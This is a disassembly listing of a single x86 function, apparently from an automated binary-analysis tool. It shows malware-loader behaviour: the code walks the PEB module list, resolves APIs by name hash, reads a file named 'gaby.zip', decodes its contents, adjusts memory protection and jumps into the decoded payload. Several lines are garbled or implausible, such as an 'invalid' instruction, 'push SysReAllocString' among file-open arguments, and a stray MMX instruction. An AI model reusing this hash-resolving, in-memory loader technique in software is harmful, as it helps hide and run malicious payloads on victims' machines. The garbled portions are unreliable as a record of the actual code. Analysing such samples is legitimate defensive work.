Function at 0x10001c4a
Capabilities:
Access peb ldr_data

Disassembly:
sub esp, 0x24
mov eax, dword fs:[0x30]
push ebx
push ebp
push esi
mov ecx, dword [eax + 0xc]
add ecx, 0xc
push edi
mov dword [esp + 0x1c], ecx
mov ebp, dword [ecx]
mov dword [esp + 0x10], ebp
cmp ebp, ecx
je 0x10001cd3
mov eax, dword [ebp + 0x30]
xor ebx, ebx
mov dword [esp + 0x20], eax
xor edi, edi
movzx eax, word [eax]
mov edx, eax
test ax, ax
je 0x10001cba
mov ebp, dword [esp + 0x20]
mov esi, edx
nop dword [eax]
movzx eax, si
lea edi, [edi + 1]
lea ecx, [eax - 0x41]
add eax, 0x20
movzx edx, ax
cmp cx, 0x19
movzx eax, si
movzx esi, word [ebp + edi*2]
cmova edx, eax
movzx eax, dx
add ebx, eax
test si, si
jne 0x10001c8a
mov ebp, dword [esp + 0x10]
mov ecx, dword [esp + 0x1c]
lea eax, [ebx + ebx]
cmp eax, 0x8a0
je 0x10002070
mov ebp, dword [ebp]
mov dword [esp + 0x10], ebp
cmp ebp, ecx
jne 0x10001c6b
xor ebp, ebp
mov eax, dword [0x101654b5]
push eax
mov eax, dword [0x10165491]
push eax
mov eax, dword [0x1016547d]
push eax
push ebp
call fcn.10001afa
mov ecx, dword [0x10165499]
add esp, 0x10
mov ebx, eax
mov dword [esp + 0x10], ebx
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [0x10165499]
mov esi, eax
push ecx
push esi
call fcn.10001c0a
mov ecx, dword [0x101654b5]
push ecx
mov ecx, dword [0x10165491]
mov eax, dword [0x101654a1]
push ecx
push eax
push ebp
call fcn.10001afa
add esp, 0x18
push 0x104
push esi
push 0
call eax
mov edi, dword [str.gaby.zip]
xor ecx, ecx
cmp word [esi], cx
je 0x10001d52
nop
inc ecx
cmp word [esi + ecx*2], 0
jne 0x10001d4a
movzx eax, word [esi + ecx*2 - 2]
lea edx, [esi + ecx*2]
cmp ax, word [0x101654b1]
je 0x10001d80
nop dword [eax]
dec ecx
xor eax, eax
mov word [edx], ax
lea edx, [esi + ecx*2]
movzx eax, word [edx - 2]
cmp ax, word [0x101654b1]
jne 0x10001d6a
mov al, byte [edi]
test al, al
je 0x10001d9c
lea ecx, [esi + ecx*2]
nop
cbw
lea edi, [edi + 1]
lea ecx, [ecx + 2]
mov word [ecx - 2], ax
mov al, byte [edi]
test al, al
jne 0x10001d8a
mov eax, dword [0x101654b5]
push eax
mov eax, dword [0x10165491]
push eax
mov eax, dword [0x101654bd]
push eax
push ebp
call fcn.10001afa
inc esi
std
invalid
inc dword [ebx + 0x6a10c4]
push 0x80
push 4
push 0
push 1
push SysReAllocString
push esi
call eax
mov ecx, dword [0x101654b5]
mov esi, eax
push ecx
mov ecx, dword [0x10165491]
push ecx
mov ecx, dword [0x101654a9]
push ecx
push ebp
call fcn.10001afa
add esp, 0x10
push 0
push esi
call eax
mov edi, eax
cmp edi, dword [0x101654b5]
jne 0x10001dff
push 1
call ebx
mov ecx, dword [0x1016549d]
push ecx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapCreate]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [0x1016549d]
mov ebx, eax
push ecx
push ebx
call fcn.10001c0a
mov ecx, dword [0x101654b5]
push ecx
mov ecx, dword [0x10165491]
mov eax, dword [0x101654b9]
push ecx
push eax
push ebp
call fcn.10001afa
add esp, 0x18
mov dword [esp + 0x18], 0
lea ecx, [esp + 0x18]
push 0
push ecx
push edi
push ebx
push esi
call eax
test eax, eax
jne 0x10001e65
push 1
call dword [esp + 0x14]
mov eax, dword [esp + 0x18]
xor edx, edx
add eax, ebx
mov dword [esp + 0x20], eax
mov eax, dword [0x101654a5]
add ebx, eax
mov esi, dword [ebx + 4]
lea eax, [ebx + 4]
add eax, 4
mov ecx, dword [ebx]
movd xmm0, esi
pshufd xmm2, xmm0, 0
test ecx, ecx
je 0x10001ef4
cmp ecx, 0x10
jb 0x10001ede
mov edi, ecx
and edi, 0xfffffff0
movups xmm0, xmmword [eax]
add edx, 0x10
movaps xmm1, xmm2
paddd xmm1, xmm0
movups xmmword [eax], xmm1
movups xmm0, xmmword [eax + 0x10]
movaps xmm1, xmm2
paddd xmm1, xmm0
movups xmmword [eax + 0x10], xmm1
movups xmm0, xmmword [eax + 0x20]
movaps xmm1, xmm2
paddd xmm1, xmm0
movups xmmword [eax + 0x20], xmm1
movups xmm0, xmmword [eax + 0x30]
movaps xmm1, xmm2
paddd xmm1, xmm0
paddd mm1, mm0
movups xmmword [eax + 0x30], xmm1
add eax, 0x40
cmp edx, edi
jb 0x10001e9a
cmp edx, ecx
jae 0x10001ef4
sub ecx, edx
nop word [eax + eax]
add dword [eax], esi
lea eax, [eax + 4]
sub ecx, 1
jne 0x10001eea
mov eax, dword [0x1016548d]
xor ecx, ecx
mov edi, dword [0x10165491]
add ebx, eax
xor edx, edx
cmp byte [ebx + 1], cl
je 0x10001f11
inc ecx
cmp byte [ecx + ebx + 1], dl
jne 0x10001f0a
xor esi, esi
test ecx, ecx
je 0x10001f29
nop dword [eax]
movzx eax, byte [esi + ebx + 1]
inc esi
imul edx, edi
add edx, eax
cmp esi, ecx
jb 0x10001f1a
mov eax, dword [0x101654b5]
push eax
mov eax, dword [0x10165491]
push eax
push edx
push ebp
call fcn.10001afa
add esp, 0x10
mov dword [esp + 0x24], eax
test eax, eax
jne 0x10001f4d
push 1
call dword [esp + 0x14]
movsx ecx, byte [ebx]
xor edx, edx
mov edi, dword [0x10165491]
add ebx, ecx
xor ecx, ecx
cmp byte [ebx + 1], cl
je 0x10001f68
inc ecx
cmp byte [ecx + ebx + 1], dl
jne 0x10001f61
xor esi, esi
test ecx, ecx
je 0x10001f7d
movzx eax, byte [esi + ebx + 1]
inc esi
imul edx, edi
add edx, eax
cmp esi, ecx
jb 0x10001f6e
mov eax, dword [0x101654b5]
push eax
mov eax, dword [0x10165491]
push eax
push edx
push ebp
call fcn.10001afa
mov ebp, dword [esp + 0x20]
add esp, 0x10
mov dword [esp + 0x1c], eax
test eax, eax
jne 0x10001fa3
push 1
call ebp
movsx ecx, byte [ebx]
add ebx, ecx
lea eax, [ebx + 1]
push eax
call dword [esp + 0x28]
mov edx, eax
mov dword [esp + 0x24], edx
test edx, edx
jne 0x10001fc2
push 1
call ebp
mov edx, dword [esp + 0x24]
mov esi, dword [0x101654c1]
mov eax, dword [edx + 0x3c]
movsx ecx, byte [ebx]
add ebx, ecx
add esi, ebx
mov edi, dword [eax + edx + 0x2c]
lea eax, [esp + 0x14]
push eax
mov ebp, dword [ebx + 4]
add edi, edx
mov eax, dword [0x101654ad]
mov ebx, dword [ebx + 8]
push eax
push ebx
push edi
mov dword [esp + 0x24], 0
call dword [esp + 0x2c]
push ebx
push esi
push edi
call fcn.10001bba
add esp, 0xc
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x18]
push ebx
push edi
call dword [esp + 0x2c]
mov eax, dword [0x10165481]
xor ecx, ecx
add edi, ebp
cmp byte [eax], cl
je 0x10002044
mov edx, dword [esp + 0x20]
nop dword [eax + eax]
mov eax, dword [0x10165481]
movsx ax, byte [eax + ecx]
movsx eax, byte [eax + ecx]
mov word [edx + ecx*2], ax
inc ecx
mov eax, dword [0x10165481]
cmp byte [eax + ecx], 0
jne 0x1000202a
mov eax, dword [esp + 0x20]
xor edx, edx
mov word [eax + ecx*2], dx
mov dword [esp + 0x2c], eax
lea eax, [ebx + esi]
mov dword [esp + 0x28], eax
lea eax, [esp + 0x28]
push eax
mov byte [esp + 0x34], 1
call edi
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
mov ebp, dword [ebp + 0x18]
jmp 0x10001cd5